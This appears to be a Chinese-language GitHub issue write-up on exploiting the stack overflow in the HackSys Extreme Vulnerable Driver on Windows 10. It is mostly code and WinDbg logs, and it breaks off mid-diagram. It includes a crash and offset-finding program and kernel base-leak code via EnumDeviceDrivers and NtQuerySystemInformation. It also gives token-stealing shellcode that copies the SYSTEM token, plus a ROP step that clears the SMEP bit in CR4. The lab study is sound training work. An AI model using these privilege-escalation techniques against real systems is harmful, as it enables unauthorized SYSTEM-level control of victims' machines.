Skip to content

hevd_0_stack_overflow_win10 #91

@xinali

Description

@xinali
作者: xina1i
建立: 2025.06.10
更新: 2025.07.09

-----------------------------------------------------------------
目录:
    ☆ 测试环境
    ☆ 驱动代码分析
    ☆ 溢出测试
    ☆ exploit分析
        1) 防护机制分析 
            1.1) SMEP防护
            1.2) KASLR防护
        2) 获取基址 
            2.1) EnumDeviceDrivers
            2.2) NtQuerySystemInformation
        3) PayLoad分析
        4) Exploit测试
            4.1) 绕过SMEP出错问题解决
            4.2) 环境恢复出错问题解决
    ☆ 总结
    ☆ 参考
-----------------------------------------------------------------

☆ 测试环境

主机: windows 10
vmware: 15.5
虚拟机:
0: kd> vertarget
Windows 10 Kernel Version 19041 MP (4 procs) Free x64
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406

☆ 驱动代码分析

具体驱动代码

-----------------------------------------------------------------

// 将这两个函数放入一个可分页的代码段
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA

__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    __try
    {
        // 对UserBuffer做预检查
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));

#ifdef SECURE
        // 安全复制,长度使用KernelBuff的长度,不受用户传入的控制
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        // 非安全复制,使用用户传入的长度复制内容
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

NTSTATUS
BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    // 从IrpSp中获取用户数据及size
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer) {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }
}
-----------------------------------------------------------------

代码的作用:将用户传入的数据复制到内核内存KernelBuffer中,复制的数据及长度由用户控制,用户可以构造恶意数据从而导致权限提升


☆ 溢出测试

1) 代码测试

使用溢出测试代码

-----------------------------------------------------------------
// IOCTL to trigger the stack overflow vuln, copied from HEVD source
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"

// Function to generate a unique, non-repeating pattern (like Metasploit's pattern_create)
std::string generate_pattern(size_t length) {
    std::string pattern = "";
    pattern.reserve(length);
    char c1 = 'A', c2 = 'a', c3 = '0';
    while (pattern.length() < length) {
        pattern += c1;
        if (pattern.length() < length) pattern += c2;
        if (pattern.length() < length) pattern += c3;
        c3++;
        if (c3 > '9') {
            c3 = '0';
            c2++;
            if (c2 > 'z') {
                c2 = 'a';
                c1++;
                if (c1 > 'Z') {
                    c1 = 'A'; // Should not happen for reasonable lengths
                }
            }
        }
    }
    return pattern;
}

// Function to find the offset of a sub-pattern (given as a 64-bit value)
int find_pattern_offset(const std::string& pattern, uint64_t value) {
    // Convert the 64-bit value (like 0x4142434445464748) to a string of bytes
    std::string needle(reinterpret_cast<const char*>(&value), 8);
    
    // In a crash, the lower bytes of the pattern might be what's in RIP
    // So we search for a 4-byte pattern first, which is the most common case.
    std::string needle32 = needle.substr(0, 4);

    size_t pos = pattern.find(needle32);
    if (pos != std::string::npos) {
        return static_cast<int>(pos);
    }

    // If not found, try the full 8-byte pattern (less common)
    pos = pattern.find(needle);
    if (pos != std::string::npos) {
        return static_cast<int>(pos);
    }
    return -1; // Not found
}

void trigger_bsod(const std::string& buffer) {
    std::cout << "[*] Trying to get a handle to the driver..." << std::endl;
    HANDLE hDevice = CreateFileA(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED, // METHOD_NEITHER requires this
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cerr << "[-] Failed to open handle to device. Error code: " << GetLastError() << std::endl;
        std::cerr << "[-] Is the HEVD driver loaded?" << std::endl;
        return;
    }
    std::cout << "[+] Opened handle to device: " << hDevice << std::endl;
    DWORD bytesRet;
    std::cout << "[*] Sending buffer of size " << buffer.length() << " to the driver." << std::endl;
    std::cout << "[!] The system is expected to crash (BSOD). Please be ready to debug." << std::endl;

    DeviceIoControl(
        hDevice,
        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
        (LPVOID)buffer.c_str(),
        (DWORD)buffer.length(),
        NULL,
        0,
        &bytesRet,
        NULL
    );

    // If we reach here, it means BSOD didn't happen, which is unexpected.
    std::cout << "[?] DeviceIoControl returned without crashing. Something is wrong." << std::endl;
    CloseHandle(hDevice);
}

int main() {
    int choice = 0;
    std::cout << "--- HEVD Stack Overflow RIP Offset Finder ---" << std::endl;
    std::cout << "Select mode:" << std::endl;
    std::cout << "1. Generate pattern and trigger BSOD" << std::endl;
    std::cout << "2. Find offset from RIP value" << std::endl;
    std::cout << "Enter choice: ";
    std::cin >> choice;

    if (choice == 1) {
        size_t buffer_size;
        std::cout << "Enter buffer size to test (e.g., 3000): ";
        std::cin >> buffer_size;
        
        if (buffer_size < 500 || buffer_size > 8000) {
            std::cerr << "[-] Please enter a reasonable size (e.g., between 500 and 8000)." << std::endl;
            return -1;
        }

        std::cout << "[*] Generating unique pattern of " << buffer_size << " bytes..." << std::endl;
        std::string pattern = generate_pattern(buffer_size);
        trigger_bsod(pattern);

    } else if (choice == 2) {
        uint64_t rip_value;
        size_t pattern_size;
        
        std::cout << "Enter the pattern size you used in step 1 (e.g., 3000): ";
        std::cin >> pattern_size;

        std::cout << "Enter the RIP value from WinDbg crash dump (e.g., 0x41326141): 0x";
        std::cin >> std::hex >> rip_value;

        std::string pattern = generate_pattern(pattern_size);
        int offset = find_pattern_offset(pattern, rip_value);

        if (offset != -1) {
            std::cout << "\n[+] SUCCESS!" << std::endl;
            std::cout << "[+] The pattern was found." << std::endl;
            std::cout << "[>] The exact offset to overwrite RIP is: " << offset << std::endl;
        } else {
            std::cerr << "\n[-] ERROR!" << std::endl;
            std::cerr << "[-] The value 0x" << std::hex << rip_value 
                      << " was not found in the generated pattern." << std::endl;
            std::cerr << "[-] Please double-check the RIP value and the pattern size." << std::endl;
        }
    } else {
        std::cerr << "[-] Invalid choice." << std::endl;
    }

    system("pause");
    return 0;
}
-----------------------------------------------------------------

测试崩溃,崩溃信息

-----------------------------------------------------------------
3: kd> r
rax=0000000000000000 rbx=3572433472433372 rcx=ffffb68c14f16f80
rdx=00004c004e5fd0d0 rsi=7243377243367243 rdi=4330734339724338
rip=fffff807423966bf rsp=ffffb68c14f17798 rbp=ffff8b8725fd3370
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=ffffb68c14f17780 r12=7243397143387143 r13=0000000000000000
r14=3771433671433571 r15=4334714333714332
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
HEVD+0x866bf:
fffff807`423966bf c3              ret

3: kd> k L5
 # Child-SP          RetAddr               Call Site
00 ffffb68c`14f17798 43327243`31724330     HEVD+0x866bf
01 ffffb68c`14f177a0 35724334`72433372     0x43327243`31724330
02 ffffb68c`14f177a8 72433772`43367243     0x35724334`72433372
03 ffffb68c`14f177b0 43307343`39724338     0x72433772`43367243
04 ffffb68c`14f177b8 33734332`73433173     0x43307343`39724338

3: kd> dqs rip
fffff807`423966bf  4a8b4828`ec8348c3
fffff807`423966c7  528bc000`0001b820
fffff807`423966cf  06e80574`c9854810
fffff807`423966d7  c328c483`48000000
fffff807`423966df  57561824`5c8948cc
fffff807`423966e7  81485741`56415441
fffff807`423966ef  058b4800`000230ec
fffff807`423966f7  48c43348`fff7c905
fffff807`423966ff  48000002`20248489
fffff807`42396707  41db33f9`8b48f28b
fffff807`4239670f  c48b4500`000200bc
fffff807`42396717  e820244c`8d48d233
fffff807`4239671f  438d4490`fff7addd
fffff807`42396727  ffcf8b48`d48b4101
fffff807`4239672f  cf8b4cff`f7b91415
fffff807`42396737  44000028`42058d4c
-----------------------------------------------------------------

根据崩溃的返回地址43327243`31724330,查询到偏移量为2072,用如下代码做进一步验证

-----------------------------------------------------------------

std::string pattern(2072, 'A');
pattern += "BBBBBBBB";
pattern.resize(3000, 'A');
trigger_bsod(pattern);

3: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffd882`50eed798 42424242`42424242     HEVD+0x866bf
01 ffffd882`50eed7a0 41414141`41414141     0x42424242`42424242
02 ffffd882`50eed7a8 41414141`41414141     0x41414141`41414141
03 ffffd882`50eed7b0 41414141`41414141     0x41414141`41414141
04 ffffd882`50eed7b8 41414141`41414141     0x41414141`41414141
05 ffffd882`50eed7c0 41414141`41414141     0x41414141`41414141

-----------------------------------------------------------------

偏移位置确定。


☆ 利用代码分析

1) 防护机制分析

在代码利用的过程中,可能会出现多个内核安全防护,比如SMEP和KALSR,下面会针对遇到的两种防护进行分析

1.1) SMEP防护

SMEP影响分析

-----------------------------------------------------------------
3: kd> r
rax=0000000000000000 rbx=4141414141414141 rcx=ffffcc80b2932f80
rdx=000035652c2c4b70 rsi=4141414141414141 rdi=4141414141414141
rip=fffff80055f166bf rsp=ffffcc80b2933798 rbp=ffffdf04b2b462d0
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=ffffcc80b2933780 r12=4141414141414141 r13=0000000000000000
r14=4141414141414141 r15=4141414141414141
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
HEVD+0x866bf:
fffff800`55f166bf c3              ret
3: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffcc80`b2933798 42424242`42424242     HEVD+0x866bf
01 ffffcc80`b29337a0 41414141`41414141     0x42424242`42424242
02 ffffcc80`b29337a8 41414141`41414141     0x41414141`41414141
03 ffffcc80`b29337b0 41414141`41414141     0x41414141`41414141
04 ffffcc80`b29337b8 41414141`41414141     0x41414141`41414141
-----------------------------------------------------------------

从调用栈分析,其返回地址是42424242`42424242,但是却执行到

fffff800`55f166bf c3              ret

理论上应该是

42424242`42424242 ???

所以可以肯定是跳转被拦截了,通过多次分析崩溃附近的信息

-----------------------------------------------------------------
3: kd> r cr2
cr2=00007ffa1d58e140

3: kd> .exr -1
ExceptionAddress: fffff80422d266bf (HEVD+0x00000000000866bf)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

3: kd> .trap @rsp
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
Unable to get program counter
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=4141414141414141 rsp=4141414141414141 rbp=4141414141414141
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up di pl zr na pe cy
4141:4141 ??              ???

0: kd> r cr4
cr4=0000000000350ef8

0: kd> ? (@cr4 & 0x100000)
Evaluate expression: 1048576 = 00000000`00100000
-----------------------------------------------------------------

SMEP防护检查:CPU准备从RIP指向的新地址取指执行。在此之前,内存管理单元(MMU)会进行地址翻译和权限检查
检查过程硬件自动完成,涉及以下关键点:
    CPU特权级(Current Privilege Level, CPL):由于代码在内核驱动中运行,当前CPL为0(最高权限,即Supervisor Mode)
    SMEP启用状态:Windows在支持SMEP的硬件上默认会启用它。这通过设置 控制寄存器4(CR4) 的第20位(SMEP bit)为1来完成
    目标内存页属性:MMU会查找该用户空间地址对应的页表项(PTE)。
                 对于用户空间内存,其PTE中的U/S(User/Supervisor) 标志位会被设置为1(表示User page)
当 CR4.SMEP == 1 且 CPL == 0 时,如果尝试从一个PTE中 U/S 标志位为1的页面获取指令,则操作非法

没有找到合适的调试SMEP的流程,只能通过各种标志来发现,毕竟是硬件实现的。

绕过的方式:
    ROP,不再使用用户地址的代码,而是使用内核本身模块的代码


1.2) KASLR防护

KASLR(Kernel ASLR/内核地址空间布局随机化)防护分析

主要操作就是不再将内核核心组件(如内核镜像 ntoskrnl.exe、硬件抽象层 hal.dll、驱动程序等)加载到固定的、可预测的内存地址,
而是在每次系统启动时,将它们加载到一个随机选择的基地址上

比如这次的栈溢出会多次调试,调试分析得到的地址都不一样

绕过的方式:通过各种函数调用获取到需要的模块基址

这个Stack Overflow获取基址的方式,目前找到两个

1. EnumDeviceDrivers
2. NtQuerySystemInformation

在下面代码利用过程中,我会分析具体的两种利用方法.

2) 获取基址

在使用payload之前,需要一个内核nt的基址来定位所有的ROP指令地址,根据网上的内容,有两种方法

2.1) EnumDeviceDrivers

具体方法如下
--------------------------------------------------------------------
LPVOID addresses[1000];
DWORD needed;

// 1. Get base address of ntoskrnl.exe
if (!EnumDeviceDrivers(addresses, sizeof(addresses), &needed))
{
    printf("[-] EnumDeviceDrivers failed: %d\n", GetLastError());
    return -1;
}

LPVOID ntoskrnl_base = addresses[0];
--------------------------------------------------------------------


2.2) NtQuerySystemInformation

适用于上面的方法无法使用的情况下

具体方法如下

--------------------------------------------------------------------
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
        "NtQuerySystemInformation");

if (!NtQuerySystemInformation) {

    cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
    cout << "[!] Last error " << GetLastError() << endl;
    exit(1);
}

ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
    NULL,
    0,
    &len);

PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
    VirtualAlloc(NULL,
        len,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
    pModuleInfo,
    len,
    &len);

if (status != (NTSTATUS)0x0) {
    cout << "[!] NtQuerySystemInformation failed!" << endl;
    exit(1);
}

PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
--------------------------------------------------------------------


3) PayLoad分析

最开始网上使用的第一版payload,经过我的注释如下

-----------------------------------------------------------------
xor rax, rax                    ; rax置零
mov rax, gs:[rax + 188h]        ; 获取nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD 位于 GS : [0x188]

mov rax, [rax + 0B8h]           ; 获取 nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; 将当前进程的_EPROCESS结构复制到rcx
mov r11, rcx                    ; Store Token.RefCnt
and r11, 0xf                    ; 获取当前进程的Token引用计数
                                ; _EX_FAST_REF(Token结构): 64 bit -> 0,3 (Token.RefCnt)

mov rdx, 4h                     ; 系统进程PID = 0x4;
; 搜索进程ID为4的进程
SearchSystemPID:
    mov rax, [rax + 2e8h]       ; 获取Flink nt!_EPROCESS.ActiveProcessLinks.Flink
    sub rax, 2e8h
    cmp [rax + 2e0h], rdx        ; 获取nt!_EPROCESS.UniqueProcessId
    jne SearchSystemPID

; 结束后指向进程id为4的_EPROCESS
mov rdx, [rax + 358h]           ; 获取系统进程的Token nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h     ; 清零系统进程token计数
or rdx, r11                     ; 将当前进程的token计数放入系统进程的token中
mov [rcx + 358h], rdx           ; 将系统进程的Token替换到当前进程

xor rax, rax                    ; 设置返回值

; 恢复状态
xor rsi, rsi
xor rdi, rdi
add rsp, 040h
ret
-----------------------------------------------------------------

上面的代码中需要解释的点:

获取_KPROCESS的具体流程

-----------------------------------------------------------------
; 获取_KPROCESS操作
mov rax, gs:[rax+0x188] ; Get KTHREAD
mov rax, [rax+0xb8]     ; Get EPROCESS (_KPROCESS)
-----------------------------------------------------------------

等价于

-----------------------------------------------------------------
2: kd> u PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`4d8bc330 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`4d8bc339 488b80b8000000  mov     rax,qword ptr [rax+0B8h]
-----------------------------------------------------------------

具体结构信息分析

-----------------------------------------------------------------
2: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   ...
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB <---

2: kd> dt _KPRCB
ntdll!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD  <--- 0x180+8 kpcr.Prcb.CurrentThread
   +0x010 NextThread       : Ptr64 _KTHREAD
   +0x018 IdleThread       : Ptr64 _KTHREAD
   +0x020 NestingLevel     : UChar
   +0x021 ClockOwner       : UChar

2: kd> dt _KTHREAD
ntdll!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   ...
   +0x07d SystemHeteroCpuPolicy : UChar
   +0x07e UserHeteroCpuPolicy : Pos 0, 7 Bits
   +0x07e ExplicitSystemHeteroCpuPolicy : Pos 7, 1 Bit
   +0x07f Spare0           : UChar
   +0x080 SystemCallNumber : Uint4B
   +0x084 ReadyTime        : Uint4B
   +0x088 FirstArgument    : Ptr64 Void
   +0x090 TrapFrame        : Ptr64 _KTRAP_FRAME
   +0x098 ApcState         : _KAPC_STATE <---  
   +0x098 ApcStateFill     : [43] UChar
   +0x0c3 Priority         : Char
   +0x0c4 UserIdealProcessor : Uint4B
   +0x0c8 WaitStatus       : Int8B
   +0x0d0 WaitBlockList    : Ptr64 _KWAIT_BLOCK

2: kd> dt _KAPC_STATE
ntdll!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS <--- 0x98+0x20 kthread.ApcState.Process
   +0x028 InProgressFlags  : UChar
   +0x028 KernelApcInProgress : Pos 0, 1 Bit
   +0x028 SpecialApcInProgress : Pos 1, 1 Bit
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPendingAll : UChar
   +0x02a SpecialUserApcPending : Pos 0, 1 Bit
   +0x02a UserApcPending   : Pos 1, 1 Bit

-----------------------------------------------------------------

最后获取的是_KPROCESS,可以理解其为_EPROCESS,因为_EPROCESS的第一个结构是_KPROCESS,他俩始终一一对应,
获取了_KPROCESS就相当于获取了_EPROCESS.

其中搜索系统进程的代码是跟系统版本相关的,当前环境下,具体偏移如下

更新如下代码

-----------------------------------------------------------------
; EPROCESS offsets:
; +0x440 UniqueProcessId
; +0x448 ActiveProcessLinks
; +0x4b8 Token

mov rdx, 4h                     ; 系统进程PID = 0x4;
; 搜索进程ID为4的进程
SearchSystemPID:
    mov rax, [rax + 448h]       ; 获取Flink nt!_EPROCESS.ActiveProcessLinks.Flink
    sub rax, 448h
    cmp [rax + 440h], rdx        ; 获取nt!_EPROCESS.UniqueProcessId
    jne SearchSystemPID

; 结束后指向进程id为4的_EPROCESS
mov rdx, [rax + 4b8h]           ; 获取系统进程的Token nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h     ; 清零系统进程token计数
or rdx, r11                     ; 将当前进程的token计数放入系统进程的token中
mov [rcx + 4b8h], rdx           ; 将系统进程的Token替换到当前进程
-----------------------------------------------------------------


4) Exploit测试

4.1) 绕过SMEP出错问题解决
执行exploit代码,遇到如下问题

-----------------------------------------------------------------
Unknown exception - code c0000096 (!!! second chance !!!)
nt!KiEnableXSave+0xb4eb:
fffff803`571a41cf 0f22e1          mov     cr4,rcx
1: kd> r
rax=0000000000000000 rbx=0000000000070678 rcx=0000000000070678
rdx=00000e514d003080 rsi=fffff803571a41cf rdi=000001dd26960000
rip=fffff803571a41cf rsp=fffff38bd995d7b0 rbp=ffffdd0ebd574190
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=fffff38bd995d780 r12=4141414141414141 r13=0000000000000000
r14=4141414141414141 r15=4141414141414141
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
nt!KiEnableXSave+0xb4eb:
fffff803`571a41cf 0f22e1          mov     cr4,rcx
1: kd> k
 # Child-SP          RetAddr               Call Site
00 fffff38b`d995d7b0 000001dd`26960000     nt!KiEnableXSave+0xb4eb
01 fffff38b`d995d7b8 fffff803`56e02e11     0x000001dd`26960000
02 fffff38b`d995d7c0 ffffdd0e`bd574190     nt!ObpReferenceObjectByHandleWithTag+0x231
03 fffff38b`d995d850 00000000`00000001     0xffffdd0e`bd574190
04 fffff38b`d995d858 ffffdd0e`00000000     0x1
05 fffff38b`d995d860 00000000`00000000     0xffffdd0e`00000000
1: kd> ub .
nt!KiEnableXSave+0xb4ca:
fffff803`571a41ae 488bc2          mov     rax,rdx
fffff803`571a41b1 b9a00d0000      mov     ecx,0DA0h
fffff803`571a41b6 48c1ea20        shr     rdx,20h
fffff803`571a41ba 0f30            wrmsr
fffff803`571a41bc e9704bffff      jmp     nt!KiEnableXSave+0x4d (fffff803`57198d31)
fffff803`571a41c1 4885c8          test    rax,rcx
fffff803`571a41c4 0f848a4bffff    je      nt!KiEnableXSave+0x70 (fffff803`57198d54)
fffff803`571a41ca 480fbaf112      btr     rcx,12h
1: kd> r cr4
cr4=0000000000350ef8
-----------------------------------------------------------------

在执行代码

fffff802`28da41cf 0f22e1          mov     cr4,rcx

报错:c0000096

能够这么执行,说明我们成功覆盖了返回地址,但是无法修改cr4寄存器

其中rcx的值为0x70678,也就是enum_0版本的利用代码

给cr4赋值0x70678失败,可能会有两个原因

a. 赋值的值本身有问题
b. 触发了某种防护机制导致修改cr4值失败(值可能会导致该问题)

首先来具体分析0x70678赋值到cr4会改变哪些标志

原始值: 0x350ef8 (0011 0101 0000 1110 1111 1000)
变化值:  0x70678 (0000 0111 0000 0110 0111 1000)
                   ^^   ^       ^    ^

使用gemini画了一张表

+-----+-------+------------------------------------+--------------+-------------------------------
| Bit | Flag  | Full Name                          | Change       | Impact & Meaning                          
+-----+-------+------------------------------------+--------------+-------------------------------
| 7   | PGE   | Page Global Enable                 | 1 -> 0 (OFF) | 禁用全局页,导致TLB频繁刷新 
| 11  | UMIP  | User-Mode Instruction Prevention   | 1 -> 0 (OFF) | 允许用户程序获取内核信息,削弱防御
| 17  | PCIDE | Process-Context Identifiers Enable | 0 -> 1 (ON)  | 启用进程上下文ID,减少TLB刷新开销  
| 20  | SMEP  | Supervisor Mode Execution Protect  | 1 -> 0 (OFF) | 关闭内核执行保护,极易被漏洞利用 
| 21  | SMAP  | Supervisor Mode Access Protection  | 1 -> 0 (OFF) | 关闭内核访问保护,可随意读写用户数据
+-----+-------+------------------------------------+--------------+--------------------------------


具体是哪个造成修改cr4失败,我们逐一验证
为了更加准确的测试,我们每次只改变原始值的其中一个标志位

a. PGE_MASK (1ULL << 7)

0x350ef8 ^ PGE_MASK

执行结果如下
-----------------------------------------------------------------
0: kd> u nt+0x9A41CF
nt!KiEnableXSave+0xb4eb:
fffff801`69ba41cf 0f22e1          mov     cr4,rcx
fffff801`69ba41d2 c3              ret
fffff801`69ba41d3 cc              int     3
fffff801`69ba41d4 bb0d0000c0      mov     ebx,0C000000Dh
fffff801`69ba41d9 e9c24bffff      jmp     nt!PfSnBeginBootPhase+0x3c (fffff801`69b98da0)
fffff801`69ba41de ba01000000      mov     edx,1
fffff801`69ba41e3 8d4a07          lea     ecx,[rdx+7]
fffff801`69ba41e6 e845e09bff      call    nt!PfSnUpdatePrefetcherFlags (fffff801`69562230)
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff801`69ba41cf 0f22e1          mov     cr4,rcx
0: kd> t
nt!KiEnableXSave+0xb4ee:
fffff801`69ba41d2 c3              ret
-----------------------------------------------------------------

b. UMIP_MASK  (1ULL << 11)

0x350ef8 ^ UMIP_MASK

执行结果如下
-----------------------------------------------------------------
0: kd> bu nt+0x9A41CF
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff800`12fa41cf 0f22e1          mov     cr4,rcx
1: kd> t
nt!KiEnableXSave+0xb4ee:
fffff800`12fa41d2 c3              ret
1: kd> r cr4
cr4=00000000003506f8
-----------------------------------------------------------------

c. PCIDE_MASK (1ULL << 17)

执行结果如下
-----------------------------------------------------------------
0: kd> bu nt+0x9A41CF
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff806`759a41cf 0f22e1          mov     cr4,rcx
1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffbe81`6365a7b0 00000171`b1fe0000     nt!KiEnableXSave+0xb4eb
01 ffffbe81`6365a7b8 fffff806`75602e11     0x00000171`b1fe0000
02 ffffbe81`6365a7c0 ffff8502`614413f0     nt!ObpReferenceObjectByHandleWithTag+0x231
03 ffffbe81`6365a850 00000000`00000001     0xffff8502`614413f0
04 ffffbe81`6365a858 ffff8502`00000000     0x1
05 ffffbe81`6365a860 00000000`00000000     0xffff8502`00000000
1: kd> t
Unknown exception - code c0000096 (!!! second chance !!!)
nt!KiEnableXSave+0xb4eb:
fffff806`759a41cf 0f22e1          mov     cr4,rcx
-----------------------------------------------------------------

到这里已经能够知道是17位变更导致的问题,但是为了严谨,继续将剩下的两个标志位测试一下

d. SMEP_MASK  (1ULL << 20)

运行结果如下
-----------------------------------------------------------------
kd> bu nt+0x9A41CF
kd> g
KDTARGET: Refreshing KD connection
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff804`169a41cf 0f22e1          mov     cr4,rcx
3: kd> t
nt!KiEnableXSave+0xb4ee:
fffff804`169a41d2 c3              ret
3: kd> r cr4
cr4=0000000000250ef8
-----------------------------------------------------------------

e. SMAP_MASK  (1ULL << 21)

执行结果如下
-----------------------------------------------------------------
1: kd> bu nt+0x9A41CF
1: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff801`839a41cf 0f22e1          mov     cr4,rcx
2: kd> t
nt!KiEnableXSave+0xb4ee:
fffff801`839a41d2 c3              ret
2: kd> r cr4
cr4=0000000000250ef8
-----------------------------------------------------------------

现在可以确定是因为PCIDE_MASK导致的,通过搜索资料发现根本原因:

试图写入CR4的值违反了CPU架构定义的硬性规则

根据Intel软件开发者手册(SDM)的规定,启用PCIDE(Process-Context Identifier Enable,CR4的第17位)
有一个强制性的先决条件:PGE(Page Global Enable,CR4的第7位)必须也同时被启用。
使用的值违反了这一条

7	PGE     1 -> 0 (禁用)	
17	PCIDE   0 -> 1 (启用)


4.2) 环境恢复出错问题解决

解决上面更改cr4值的问题后,继续运行
-----------------------------------------------------------------
0: kd> bu nt+0x9A41CF
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff807`6bfa41cf 0f22e1          mov     cr4,rcx
2: kd> t
nt!KiEnableXSave+0xb4ee:
fffff807`6bfa41d2 c3              ret
2: kd> t
0000023a`6bd80000 4831c0          xor     rax,rax
2: kd> u .
0000023a`6bd80000 4831c0          xor     rax,rax
0000023a`6bd80003 65488b8088010000 mov     rax,qword ptr gs:[rax+188h]
0000023a`6bd8000b 488b80b8000000  mov     rax,qword ptr [rax+0B8h]
0000023a`6bd80012 4889c1          mov     rcx,rax
0000023a`6bd80015 4c89c9          mov     rcx,r9
0000023a`6bd80018 4983e307        and     r11,7
0000023a`6bd8001c 48c7c204000000  mov     rdx,4
0000023a`6bd80023 488b8048040000  mov     rax,qword ptr [rax+448h]
2: kd> g
Access violation - code c0000005 (!!! second chance !!!)
0000023a`6bd80479 41              ???
2: kd> r
rax=fffff8076c21db18 rbx=0000000000250ef8 rcx=0000000000000000
rdx=0000000000000004 rsi=fffff8076bfa41cf rdi=0000023a6bd80000
rip=0000023a6bd80479 rsp=ffffa98aa59727b0 rbp=ffffaa821ef43060
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=4141414141414141 r13=0000000000000000
r14=4141414141414141 r15=4141414141414141
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
0000023a`6bd80479 41              ???
2: kd> u .
0000023a`6bd80479 41              ???
0000023a`6bd8047a 41              ???
0000023a`6bd8047b 41              ???
0000023a`6bd8047c 41              ???
0000023a`6bd8047d 41              ???
0000023a`6bd8047e 41              ???
0000023a`6bd8047f 41              ???
0000023a`6bd80480 41              ???
-----------------------------------------------------------------

根据调试可以发现,成功跳转,payload也成功执行,但是最后的栈没有恢复成功,导致执行了buffer中的内容

exploit执行的溢出栈,大概类似于

(高地址)
...
+----------------------------------------+
|   ... (更高地址的栈内容) ...              |
+----------------------------------------+
|      Address of GetToken()             |  <-- ROP链的第3个元素 (最终跳转目标)
+----------------------------------------+
